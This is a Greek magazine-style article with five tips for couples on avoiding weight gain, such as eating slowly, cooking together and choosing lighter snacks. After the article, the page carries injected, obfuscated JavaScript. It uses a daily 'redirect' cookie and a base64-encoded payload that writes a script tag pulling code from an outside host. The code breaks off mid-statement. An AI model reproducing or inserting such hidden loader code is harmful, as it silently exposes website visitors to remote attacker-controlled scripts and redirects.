5 συμβουλές για να μην σας παχαίνει ο καλός σας

Πρέπει να το παραδεχτούμε, όταν είμαστε σε σχέση έχουμε την τάση να παχαίνουμε… Οι singles μπορούν και διατηρούν το δικό τους πρόγραμμα διατροφής και άσκησης, χωρίς να χρειάζεται να το προσαρμόσουν σε εκείνο του αγαπημένου τους.

Έτσι το πρωί μπορούν να ξυπνήσουν κάνοντας yoga ή να βγουν για λίγο τρέξιμο αντί να μείνουν στο κρεβάτι χουζουρεύοντας με τον αγαπημένο τους. Τα βράδια πάλι θα προτιμήσουν μια σαλάτα, ένα γιαούρτι ή ένα γρήγορο τοστ, από ένα δείπνο (έστω και ρομαντικό) με καλό φαγητό και κρασάκι ή σουβλάκια συνοδεύοντάς τα με μπυρίτσα! Αφήστε και το άλλο… οι άντρες χρειάζονται περισσότερες θερμίδες από τις γυναίκες και έτσι τρώνε και περισσότερο και συχνότερα, παρασέρνοντας και εσάς!

Εμείς σας δίνουμε 5 τσουχτροσυμβουλές για να ‘ξεφύγετε’ από τα ‘άσχημα’ της σχέσης!

1. Μην τον συναγωνίζεστε στο φαγητό! Δεν κάνετε διαγωνισμό! Φάτε αργά και όση ποσότητα εσείς θέλετε ακόμα και όταν ο καλός σας έχει την τάση να σας ταΐζει εσείς αντισταθείτε…
2. Μαγειρέψτε… και ακόμα καλύτερα μαγειρέψτε μαζί! Τα φαγητά που επιλέγουμε να φτιάξουμε μόνοι μας είναι καλύτερης ποιότητας και με λιγότερες θερμίδες από εκείνα που παραγγέλνουμε από έξω.
3. Επιλέξτε υγιεινά και ελαφριά φαγητά, αποφεύγοντας τις θερμίδες. Μπορείτε να βγαίνετε με τον καλό σας για δείπνο χωρίς να είναι ανάγκη να μην έχετε φάει τίποτα όλη μέρα, απλά επιλέξτε σωστά. Ακόμα και στα σουβλάκια ή στη πίτσα υπάρχει επιλογή… δυο καλαμάκια κοτόπουλο με σαλάτα ή μια πίτσα με τυράκι είναι ότι καλύτερο.
4. Βρείτε τον τρόπο άσκησης που ταιριάζει και στους δύο και κερδίστε διπλά. Μια βόλτα με τα ποδήλατα ή με τα πόδια μπορεί να σας διατηρεί σε φόρμα  και ταυτόχρονα να σας φέρνει πιο κοντά.
5. Αγαπήστε τα υγιεινά σνακ. Όταν μένετε σπίτι και βουλιάζετε στον καναπέ βλέποντας ταινία, μπορείτε να φτιάξετε νοστιμότατα σνακ χωρίς πολλές θερμίδες και να αποφύγετε έτσι τα deliveries! Φτιάξτε ποπ κορν, κρακεράκια με ντοµάτα και τυρί µε χαµηλά λιπαρά, μπαγκέτα με φέτα και ντομάτα, σάντουιτς με τονοσαλάτα, μαύρο ψωμί με προσούτο και μοτσαρέλλα ή απλά προτιμείστε γιαούρτι με μέλι, φρέσκα φρούτα, παγωτό light….

\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘